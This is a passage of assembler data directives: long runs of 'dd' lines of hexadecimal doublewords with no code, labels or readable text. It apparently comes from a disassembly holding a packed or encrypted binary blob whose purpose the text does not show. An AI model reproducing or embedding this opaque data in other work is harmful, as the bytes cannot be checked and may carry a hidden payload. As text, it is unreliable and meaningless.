31300CEh, 0EB0D68CCh, 8D00632Ch dd 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h dd 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h, 83F2B900h dd 2743EC7h, 822F0087h, 2757E181h, 0D900C958h, 0C13BE440h dd 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h, 62C76F0Ah dd 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h, 70C71EE4h dd 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h, 825A5B1h dd 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah, 56824C75h dd 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h, 55890112h dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h dd 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh, 6F1CA5A3h dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h, 5C8500F6h dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h dd 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h, 6D37803h dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h dd 270C070Dh, 70B68DBFh dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh dd 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h, 580A00B9h dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h dd 5780405Bh, 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h dd 7FE43B7Dh, 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h dd 4548FC7Eh, 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh dd 344E7095h, 8057900h, 2306A32h, 58700060h, 10258050h dd 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h dd 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch dd 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h dd 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh dd 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h dd 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h dd 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h dd 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h dd 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh dd 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h dd 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h dd 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h dd 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h dd 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h dd 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h dd 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh dd 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h dd 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h dd 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h dd 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h dd 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh dd 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h dd 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h dd 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh dd 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh dd 92981062h, 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h dd 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh dd 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h, 0F6434825h dd 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h, 3C3B1996h dd 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h dd 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h dd 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah dd 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h dd 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h dd 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h dd 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh dd 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h dd 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h dd 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h dd 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h dd 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h dd 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h dd 0F15E084h, 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h dd 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h dd 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h dd 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h dd 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h dd 21BF5DE7h, 9C009744h, 61C8427h, 806477h, 0C3695399h dd 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh dd 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h dd 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h dd 6B72D813h, 61A20900h, 74797D92h, 9F833E49h, 64F7600h dd 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h dd 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h dd 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh dd 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h dd 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h, 975C5D24h dd 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h dd 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh, 0B9C7C093h dd 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h dd 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h dd 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h dd 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h dd 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h dd 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh dd 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h dd 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh dd 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh dd 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h dd 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh dd 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah dd 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh dd 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h dd 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h dd 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h dd 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h dd 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h dd 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h dd 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h dd 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh dd 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h dd 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch dd 4B0A5B6Bh, 4CB8490h dd 1941CA00h, 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh dd 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh, 7C7E06FAh dd 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh dd 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh, 2A299671h dd 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h dd 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h, 0F61E3Ah dd 8B28BB3Ah, 48010537h, 2C438319h, 42301221h, 14660030h dd 16BE8B50h, 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh dd 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h dd 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h dd 89560009h, 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h dd 88191D90h, 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh dd 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh dd 0F50EE3Ah, 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh dd 0F81C904Ch, 87000FC6h, 369C37B7h, 48F38918h, 8009939h dd 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h dd 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh dd 425E8414h, 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h dd 57038171h, 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh dd 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h dd 97D45942h, 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h dd 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h dd 68F85F64h, 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh dd 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch dd 136DA48Fh, 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh dd 0B7C4A28Ch, 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h dd 4D4BFCB8h, 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h dd 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh dd 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h dd 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h dd 0C3004916h, 25856C03h, 0C4001h, 36383420h, 0B6587644h dd 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch dd 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h dd 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h dd 695D03h, 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh dd 436517h, 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh dd 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h dd 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h, 6B019D07h dd 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h, 8B83BF12h dd 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh dd 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh, 0E3820A73h dd 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h, 8DD4468Ah dd 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h dd 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch dd 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h dd 2000E698h, 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h dd 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh dd 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch dd 117ABC49h, 0C0F78498h, 3000540h, 8788021h, 0E8F0110h dd 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h dd 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh dd 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h dd 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh dd 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh dd 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh dd 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h dd 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h dd 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h dd 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh dd 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h dd 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h dd 725411D8h, 736E6103h, 74656D00h, 437C19B6h, 775727Bh dd 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch dd 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh dd 72116F01h, 75C47488h, 0F2C7E0h, 3641378h, 45287C14h dd 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h dd 76765652h, 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh dd 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h dd 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh dd 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h dd 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h dd 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h dd 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh dd 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h dd 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h dd 50D3622h, 3E25C889h, 4B8C042h, 0F03F6373h, 80C3BB84h dd 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh, 1AB2E90Eh dd 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h dd 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh dd 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h dd 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh dd 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h dd 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h dd 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h dd 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h dd 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h dd 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h dd 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh dd 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah, 19CD58A8h dd 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h dd 2AE15B18h, 0A4EFB0h dd 98CE92BFh, 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh dd 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h dd 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h dd 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h, 4321DFA4h dd 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh dd 0CC00059h, 0C4908529h, 156719C8h, 54F02006h, 722CCh dd 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh dd 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h dd 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h dd 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h dd 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h dd 0E7A9333h, 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh dd 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h dd 3DC255D0h, 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h dd 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h dd 40C683D1h, 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh dd 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh dd 0EF07A4Ah, 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h dd 8833022Bh, 75080042h, 1643C394h, 0E047953h, 122147E8h dd 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h dd 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h dd 3BB0925h, 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h dd 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h dd 0DDEBBD51h, 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh dd 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h dd 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh dd 0E4082112h, 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h dd 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh dd 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh dd 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h dd 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h dd 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah dd 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h dd 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh dd 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh, 0C170C400h dd 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h dd 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh dd 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h dd 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h dd 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch dd 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h dd 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h dd 9055E5h, 947AC427h, 814475Ah, 0D6D18001h, 0EA25F46h dd 6016CCh, 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h dd 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh dd 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h, 24FC4E0h dd 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h, 88104619h dd 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch, 50AE961Ah dd 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh, 2E642B25h dd 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h, 2190DF3Eh dd 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah dd 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h, 0D3004703h dd 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h, 0E2C87232h dd 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h, 9C01451Bh dd 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h, 0EB1069ECh dd 588864C2h, 3C00B3EAh, 5E575684h, 38A473h, 0C29887E9h dd 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh, 471000Bh dd 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h, 34560039h dd 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch, 809044Dh dd 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h, 0FA99554Bh dd 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h, 1912BEF4h dd 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch, 2A019402h dd 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h, 7E2146D2h dd 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h dd 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h, 0AECB8316h dd 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h, 290024ABh dd 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h, 0D7CA890Eh dd 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh, 595C2300h dd 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h, 4B2BC48Ch dd 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h, 5700CC17h dd 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch, 6B5E0175h dd 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h, 7EBD0043h dd 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh, 9D2CAF41h dd 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h, 0C7838088h dd 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h, 34D9AA00h dd 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h, 3B7421BAh dd 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h, 30393DD6h dd 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h, 5D4A2404h dd 935B801h, 3B5564BAh, 0E0FCADF5h, 0FE840042h, 0F3C07489h dd 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch, 830F1B9Eh dd 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh, 0B19011h dd 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h, 0C53B2BF1h dd 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh, 86E7226Ch dd 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh, 661A1D98h dd 850580D6h, 28215346h, 4D75E207h, 40903E9Ch, 6132CBh dd 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh, 0C622E005h dd 0AB2550h, 121DA511h, 0AF0A5406h, 1244C00h, 77714FDh dd 68FE6303h, 5E05B8Ah, 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h dd 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh, 41CC2000h dd 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h, 0C0A38C1Bh dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h, 19F7EAA7h dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h, 0C74543E4h dd 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h, 30AE2040h dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h, 0DEE7A627h dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh, 763BC812h dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h, 148D7A37h dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h, 884740BDh dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h dd 40004E70h, 2571626Bh dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 